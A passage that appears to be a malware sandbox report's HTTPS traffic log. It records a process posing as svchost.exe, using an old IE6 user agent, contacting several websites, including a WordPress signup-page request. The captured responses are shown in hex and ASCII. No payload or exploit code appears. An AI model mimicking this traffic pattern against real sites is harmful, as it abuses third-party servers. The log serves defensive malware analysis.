2023-03-10 06:56:14 UTC	319	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ac1zuV%2FlOzcmId%2FzgLSz5ydmvbSZ7MyjA7mXATXXD6s7KneNOJzHltfxGTGTLqYkmmf7ToS50IqYzL14pGUeMZcv9qLORuC%2Bwx6PGoZrzp4l1GnsXxLeD8JP%2Bweo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a81d0ec7bbf5-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:14 UTC	320	IN	Data Raw: 31 65 62 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ebb<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:14 UTC	320	IN	Data Raw: 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 Data Ascii: idth,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img
2023-03-10 06:56:14 UTC	322	IN	Data Raw: 69 6f 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 6d 53 68 6a 49 79 45 6b 79 67 65 34 63 32 71 73 69 75 44 7a 31 4d 6b 65 6d 31 65 41 70 36 43 77 4e 43 37 37 75 65 56 56 53 44 55 2d 31 36 37 38 34 33 31 33 37 34 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 74 61 51 6a 34 75 4d 78 64 4f 57 64 51 47 4e 78 55 68 37 65 4b 53 44 65 62 6c 46 64 56 34 63 43 35 5f 57 48 51 62 62 49 43 35 55 2d 31 36 37 38 34 33 31 33 37 34 2d Data Ascii: ion="/?__cf_chl_f_tk=mShjIyEkyge4c2qsiuDz1Mkem1eAp6CwNC77ueVVSDU-1678431374-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="taQj4uMxdOWdQGNxUh7eKSDeblFdV4cC5_WHQbbIC5U-1678431374-
2023-03-10 06:56:14 UTC	323	IN	Data Raw: 31 37 69 4a 44 30 5a 72 63 34 6b 59 58 6d 4e 38 42 42 4d 53 6c 4a 4a 30 46 2d 70 43 4d 71 30 57 74 49 65 76 69 55 4e 44 33 72 61 78 62 2d 34 55 68 79 58 6e 45 74 46 37 4e 6a 55 68 76 74 44 63 4a 42 68 32 49 4c 58 6d 31 67 57 4f 54 4b 4c 59 62 61 6b 42 56 56 61 74 39 6c 47 30 35 6f 4f 6d 69 48 74 4d 59 32 68 65 72 72 30 48 36 70 48 7a 74 46 4d 4d 4a 41 55 4f 39 35 6d 67 44 36 6f 48 45 4e 47 6d 50 79 56 45 42 5f 61 67 2d 67 42 6e 66 47 5f 56 42 30 62 56 77 4f 65 65 46 5a 57 35 4d 5f 53 39 62 6b 34 78 42 39 4b 51 38 6c 65 6d 38 4c 35 52 6d 48 54 61 6f 36 6b 4c 4e 42 49 67 65 6e 4c 72 6e 66 79 43 75 6b 77 66 49 49 72 39 54 65 79 76 6d 61 68 4e 30 58 6b 7a 6e 30 6d 62 4d 54 77 6f 32 6d 46 37 2d 2d 63 6f 67 55 4a 38 67 43 49 36 4f 34 73 7a 6f 52 50 6c 2d 30 55 Data Ascii: 17iJD0Zrc4kYXmN8BBMSlJJ0F-pCMq0WtIeviUND3raxb-4UhyXnEtF7NjUhvtDcJBh2ILXm1gWOTKLYbakBVVat9lG05oOmiHtMY2herr0H6pHztFMMJAUO95mgD6oHENGmPyVEB_ag-gBnfG_VB0bVwOeeFZW5M_S9bk4xB9KQ8lem8L5RmHTao6kLNBIgenLrnfyCukwfIIr9TeyvmahN0Xkzn0mbMTwo2mF7--cogUJ8gCI6O4szoRPl-0U
2023-03-10 06:56:14 UTC	324	IN	Data Raw: 20 63 52 61 79 3a 20 27 37 61 35 39 61 38 31 64 30 65 63 37 62 62 66 35 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 32 61 37 38 62 38 33 33 31 35 39 64 38 62 37 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 6d 53 68 6a 49 79 45 6b 79 67 65 34 63 32 71 73 69 75 44 7a 31 4d 6b 65 6d 31 65 41 70 36 43 77 4e 43 37 37 75 65 56 56 53 44 55 2d 31 36 37 38 34 33 31 33 37 34 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 Data Ascii: cRay: '7a59a81d0ec7bbf5', cHash: '2a78b833159d8b7', cUPMDTk: "\/?__cf_chl_tk=mShjIyEkyge4c2qsiuDz1Mkem1eAp6CwNC77ueVVSDU-1678431374-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0',
2023-03-10 06:56:14 UTC	326	IN	Data Raw: 57 72 56 47 5a 49 54 50 69 65 4b 4b 72 49 51 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 32 35 6b 72 5a 4f 65 7a 4e 69 6d 66 44 53 47 55 46 59 49 73 47 77 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c Data Ascii: WrVGZITPieKKrIQ==', i2: '25krZOezNimfDSGUFYIsGw==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL
2023-03-10 06:56:14 UTC	327	IN	Data Raw: 63 4f 67 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 Data Ascii: cOgUHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="content
2023-03-10 06:56:14 UTC	328	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	53263	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	360	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:15 UTC	376	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:15 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:15 UTC	376	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:15 UTC	392	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:15 UTC	409	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:15 UTC	425	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	53355	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	428	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:16 UTC	577	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=98 Content-Length: 48939 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:15 GMT Connection: close
2023-03-10 06:56:16 UTC	577	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:16 UTC	580	IN	Data Raw: 6c 61 67 22 3a 72 65 74 75 72 6e 20 73 28 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 2c 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 38 32 30 33 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 29 3f 21 31 3a 21 73 28 5b 35 35 33 35 36 2c 35 37 33 33 32 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 35 36 31 32 38 2c 35 36 34 31 38 2c 35 36 31 32 38 2c 35 36 34 32 31 2c 35 36 31 32 38 2c 35 36 34 33 30 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 35 36 31 32 38 2c 35 36 34 34 37 5d 2c 5b 35 35 33 35 36 2c 35 37 33 33 32 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 31 38 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 31 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 33 30 2c 38 32 30 33 2c 35 36 31 32 38 Data Ascii: lag":return s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])?!1:!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128
2023-03-10 06:56:16 UTC	589	IN	Data Raw: 30 30 30 2f 73 76 67 27 20 76 69 65 77 42 6f 78 3d 27 30 20 30 20 33 32 20 33 32 27 20 77 69 64 74 68 3d 27 37 32 27 20 68 65 69 67 68 74 3d 27 37 32 27 20 66 69 6c 6c 3d 27 72 67 62 61 25 32 38 35 31 25 32 43 35 31 25 32 43 35 31 25 32 43 30 2e 32 35 25 32 39 27 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 32 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 Data Ascii: 000/svg' viewBox='0 0 32 32' width='72' height='72' fill='rgba%2851%2C51%2C51%2C0.25%29'%3E %3Cpath transform='translate(2)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12
2023-03-10 06:56:16 UTC	597	IN	Data Raw: 61 6c 6c 6f 77 65 64 20 74 6f 20 75 70 6c 6f 61 64 20 69 73 20 30 2e 22 2c 22 6e 65 65 64 73 5f 62 73 34 22 3a 22 22 2c 22 6f 6e 65 5f 6f 70 74 69 6f 6e 22 3a 22 43 68 6f 6f 73 65 20 61 6e 20 6f 70 74 69 6f 6e 22 2c 22 6f 6e 65 5f 6f 72 5f 6d 6f 72 65 5f 6f 70 74 69 6f 6e 22 3a 22 43 68 6f 6f 73 65 20 6f 6e 65 20 6f 72 20 6d 6f 72 65 20 6f 70 74 69 6f 6e 73 22 2c 22 70 65 72 6d 61 6c 69 6e 6b 73 22 3a 22 31 22 2c 22 72 65 63 61 70 74 63 68 61 5f 73 69 74 65 5f 6b 65 79 22 3a 22 22 2c 22 72 65 63 61 70 74 63 68 61 5f 76 65 72 73 69 6f 6e 22 3a 22 76 32 22 2c 22 72 65 70 6c 69 65 73 5f 74 6f 5f 6c 6f 61 64 22 3a 22 35 22 2c 22 72 65 70 6c 79 5f 6c 61 62 65 6c 22 3a 22 52 65 70 6c 79 22 2c 22 73 65 61 72 63 68 5f 70 6c 61 63 65 68 6f 6c 64 65 72 22 3a 22 53 Data Ascii: allowed to upload is 0.","needs_bs4":"","one_option":"Choose an option","one_or_more_option":"Choose one or more options","permalinks":"1","recaptcha_site_key":"","recaptcha_version":"v2","replies_to_load":"5","reply_label":"Reply","search_placeholder":"S
2023-03-10 06:56:16 UTC	605	IN	Data Raw: 67 72 6f 75 6e 64 3a 23 66 66 66 66 65 30 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 36 64 62 35 35 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 50 6f 77 65 72 65 64 20 62 79 20 53 6c 69 64 65 72 20 52 65 76 6f 6c 75 74 69 6f 6e 20 35 2e 34 2e 38 20 2d 20 72 65 73 70 6f 6e 73 69 76 65 2c 20 4d 6f 62 69 6c 65 2d 46 72 69 65 6e 64 6c 79 20 53 6c 69 64 65 72 20 50 6c 75 67 69 6e 20 66 6f 72 20 57 6f 72 64 50 72 65 73 73 20 77 69 74 68 20 63 6f 6d 66 6f 72 74 61 62 6c 65 20 64 72 61 67 20 61 6e 64 20 64 72 6f 70 20 69 6e 74 65 72 66 61 63 65 2e 22 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 64 6f 63 75 Data Ascii: ground:#ffffe0;border:1px solid #e6db55}</style><meta name="generator" content="Powered by Slider Revolution 5.4.8 - responsive, Mobile-Friendly Slider Plugin for WordPress with comfortable drag and drop interface."/><script type="text/javascript">docu
2023-03-10 06:56:16 UTC	613	IN	Data Raw: 2d 6d 6f 62 69 6c 65 2d 6d 65 6e 75 2d 69 63 6f 6e 27 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 64 74 2d 6d 6f 62 69 6c 65 2d 68 65 61 64 65 72 27 3e 0a 09 3c 75 6c 20 69 64 3d 22 6d 6f 62 69 6c 65 2d 6d 65 6e 75 22 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 22 3e 0a 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 6f 6d 65 20 63 75 72 72 65 6e 74 2d 6d 65 6e 75 2d 69 74 65 6d 20 70 61 67 65 5f 69 74 65 6d 20 70 61 67 65 2d 69 74 65 6d 2d 31 36 20 Data Ascii: -mobile-menu-icon'><span></span></div><div class='dt-mobile-header'><ul id="mobile-menu" class="mobile-main-nav" role="menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home current-menu-item page_item page-item-16
2023-03-10 06:56:16 UTC	621	IN	Data Raw: 76 61 72 20 6d 79 3d 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 6e 6f 77 3d 6e 65 77 20 44 61 74 65 28 6d 79 2d 64 69 66 66 6d 73 29 3b 74 69 6d 65 72 49 44 3d 73 65 74 54 69 6d 65 6f 75 74 28 27 73 68 6f 77 74 69 6d 65 28 29 27 2c 31 30 30 30 30 29 3b 74 69 6d 65 72 52 75 6e 6e 69 6e 67 3d 74 72 75 65 3b 7d 0a 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 63 6c 6f 63 6b 28 29 7b 73 74 6f 70 63 6c 6f 63 6b 28 29 3b 73 68 6f 77 74 69 6d 65 28 29 3b 7d 0a 76 61 72 20 74 69 6d 65 72 49 44 3d 6e 75 6c 6c 3b 76 61 72 20 74 69 6d 65 72 52 75 6e 6e 69 6e 67 3d 66 61 6c 73 65 3b 76 61 72 20 78 3d 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 6e 6f 77 3d 78 2e 67 65 74 54 69 6d 65 28 29 3b 76 61 72 20 67 6d 74 3d 31 36 37 38 34 33 31 33 37 36 2a 31 30 30 30 3b 76 61 72 Data Ascii: var my=now.getTime();now=new Date(my-diffms);timerID=setTimeout('showtime()',10000);timerRunning=true;}function startclock(){stopclock();showtime();}var timerID=null;var timerRunning=false;var x=new Date();var now=x.getTime();var gmt=1678431376*1000;var

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	52653	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
